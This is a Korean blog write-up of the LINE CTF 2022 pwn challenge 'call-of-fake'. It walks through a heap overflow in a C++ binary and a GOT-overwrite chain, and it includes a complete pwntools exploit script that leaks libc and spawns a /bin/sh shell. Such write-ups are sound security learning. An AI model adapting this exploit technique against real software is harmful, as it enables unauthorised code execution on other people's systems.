LINE CTF 2022 - call of fake

Posted Apr 17, 2022 Updated Oct 7, 2024

By brwook

9 min read

3월 26일에 있었던 LINE CTF에 Security Factorial의 이름으로 참가하였고 18등을 하였다!

나는 call-of-fake 한 문제를 SDJ 형이랑 같이 풀었다.

문제 분석

이 문제는 C++로 짜였고, C++ 하면 객체지향이다.

그런데, 이 문제에서 쓰이는 클래스들을 모두 분석하기에는 그 양이 방대해서, 동적 분석을 진행하고 필요한 것만 가져다가 IDA에 반영하는 식으로 우회 조건을 파악하면서 문제를 해결하였다.

먼저, main 함수는 decompile 된 코드를 보면, 좀 어지러울 수 있지만, 코드 구성은 대충 다음과 같다.

  
objectManager *om;
guardManager *gm;

int main()
{
	char read_buf[64];
	char buf[0x400];

	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	memset(read_buf, 0, sizeof(read_buf));
	memset(buf, 0, sizeof(buf));

	om = new objectManager();
	gm = om->castGuardManager();
	puts("Make call of fake!");

	for(int i=0; i<9; ++i)
		om->Objects[i] = new Object1(gm);

	for(int i=0; i<9; ++i)
	{
		Object1 *ptr = om->Objects[i];
		ptr->setTag(i);

		printf("str: ");
		memset(read_buf, 0, sizeof(read_buf));
		read(0, read_buf, 0x20);

		ptr->setName(read_buf, strlen(read_buf));
		puts(ptr->getNameBuffer());
	}

	printf("heap buffer overflow primitive: ");
	read(0, buf, 0x400);
	memcpy(om->myObject[0], buf, 0x400);  // <--- vulnerable
	delete om;
	return 0;
}

objectManager 객체에서는 9개의 Object1 객체를 멤버 변수로 가지고 있다. 그리고, 9개의 객체 내부의 objectString 멤버에 원하는 값을 쓴다. 그리고, 가장 중요한 것은 om->myObject[0]에 0x400만큼 힙 오버플로우가 발생한다는 것이다. 그리고, om의 destructor가 실행될 때, 우리가 힙에 작성한 값이 문제가 된다.

프로그램을 실행하고, 힙 오버플로우를 낼 때, ‘A’를 쭉 입력하면 다음과 같은 디버깅 화면을 볼 수 있다.

이를 통해, objectManager의 destructor 메소드가 실행되는 과정에서, 우리가 objects[0]에 입력한 값을 역참조한다는 것을 확인할 수 있다. 그렇다면, ‘A’*8이 아니라, 무언가 정상적으로 역참조할 수 있는 값을 주어야 할 것이다.

그렇다면, 어떤 주소를 입력하는 것이 좋을까? decompile 된 코드를 살펴보자.

om->Objects[i]->object1_vtable의 값(우리가 통제할 수 있는 부분)을 가져온다.

그리고, 그것이 0이거나, *(funcs+8*k)와 일치하지 않으면, exit(0)을 수행하고,

그렇지 않으면, 자기 자신을 인자로 해당 함수를 실행한다.

* func_fire라고 표시된 거는 원래 들어있는 값이 Object1::fire() 여서 그렇다..

그렇다면, funcs 테이블에 위치한 값은 무엇이길래 저걸 참조할까?

바로, 가상함수 모음집이다. Object1의 메소드도 있고, objectString의 메소드도 있고, objectManager의 메소드도 있다.

이걸 어디서 났느냐?

objectManager의 생성자에서 실행되는 함수 중에, guardManager의 벡터에 위의 함수들을 push_back하는 루틴이 존재한다! 즉, 힙에 있는 값이므로, overwrite가 가능하고 이를 이용하면 원하는 함수를 실행시킬 수도 있을 것이다.

그러나, objectManager의 생성자가 실행되고, 소멸자가 호출되는 사이에 힙에 있는 값을 overwrite하는 것은 어렵다. 따라서, 위에 있는 함수들을 적절히 이용하여, libc leak을 수행하고 쉘을 따내야 한다는 의미가 된다.

이중에서 내가 유용하게 사용하였던 함수는 Object1::addTwiceTag와 objectString::set이다.

Object1::addTwiceTag는 Object1::addTag(this, *((_QWORD *)this + 1))을 수행하는 함수로, om->objects 객체를 p64(addTwiceTag) + p64(rsi)로 덮으면, 원하는 값으로 rsi 설정이 가능하다.

objectString::set는 memcpy(*((_QWORD)this+1), a2, *((_QWORD)this +2))을 수행하는 함수로, om->objects 객체를 p64(set) + p64(rdi) + p64(rdx)로 덮으면, 임의의 destination에 원하는 size만큼 덮을 수 있다.

즉, om->objects[0]을 addTwiceTag로 세팅하고, om->objects[1]을 objectString::set로 세팅하면, memcpy(rdi, rsi, rdx)를 호출할 수 있다. 또한, call-of-fake 바이너리가 partial relro이기 때문에, GOT Overwrite가 가능하다는 것도 중요하다.

이전에 언급하였듯이, 위 벡터에 존재하지 않는 주소를 덮을 경우, exit(0)을 호출한다고 하였다. 그런데, 우리가 exit의 got를 원하는 주소로 덮어버린다면?

임의 함수 호출이 가능하다는 소리가 되고, 심지어는 그 뒤의 루틴이 objects[i]->vtable 함수 호출이기 때문에, 위 벡터에 존재하지 않는 주소라도 역참조하여 실행시킬 수 있다는 의미가 된다.

이러한 정보들을 적절히 활용하면, 문제를 풀이할 수 있다. 이후의 풀이 방법은 사람마다 다양할 것이다.

익스플로잇

  
from pwn import *

def sendStr(msg):
    p.sendafter(b"str: ", msg)

p = process('./call-of-fake')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so', False)
for i in range(9):
    sendStr(b'A'*0x20)

om = 0x407110
gm = 0x407118
StringSet = 0x405d68
addTwiceTag = 0x405d50

# memcpy(exit_got, read_got, 0x8)
payload = p64(addTwiceTag)
payload += p64(0x407098) + b'B'*0x30
payload += p64(StringSet)
payload += p64(0x407088) + p64(0x8) + b'B'*0x28

# memcpy(memset_got, puts_got, 0x8)
payload += p64(addTwiceTag)
payload += p64(0x4070a8) + b'B'*0x50
payload += p64(StringSet)
payload += p64(0x407050) + p64(0x8) + b'B'*0x48

# puts(read_got)
payload += p64(addTwiceTag)
payload += p64(0x0) + b'C'*0x50
payload += p64(StringSet)
payload += p64(0x407098) + p64(0x0) + b'D'*0x48

# exit(0, memcpy_got, a3) -> read(0, memcpy_got, a3)
payload += p64(addTwiceTag)
payload += p64(0x407050) + b'F'*0x50
payload += p64(0x407020) + b'E'*0x58

# memcpy(_ZdlPv_got, a2, 0) -> system("/bin/sh")
payload += p64(StringSet)
payload += p64(0x407058) + p64(0)
p.sendafter(b": ", payload)

libc.address = u64(p.recv(6)+b'\x00\x00') - libc.symbols['read']
read = libc.symbols['read']
system = libc.symbols['system']

log.info("libc_base : " + hex(libc.address))
p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

나의 문제 풀이 방법은 다음과 같다.

exit_got를 read_got로 덮는다.
memset_got를 puts_got로 덮는다.
puts(read_got)를 호출한다. (이때, addTwiceTag는 필요 없는 것 같은데 넣었네요)
Object1::addTwiceTag를 이용해, rsi를 memcpy_got로 세팅하고, 가상함수 테이블에 없는 함수인 printf_got를 넣어서, read(0, memcpy_got, arg3)을 실행한다.
memcpy_got를 system 함수로, 바로 옆에 있는 값을 “/bin/sh”로 덮은 뒤에, objectString::set 메소드를 호출하여, system(“/bin/sh”)가 실행되게 한다.

Security, CTF

This post is licensed under CC BY 4.0 by the author.

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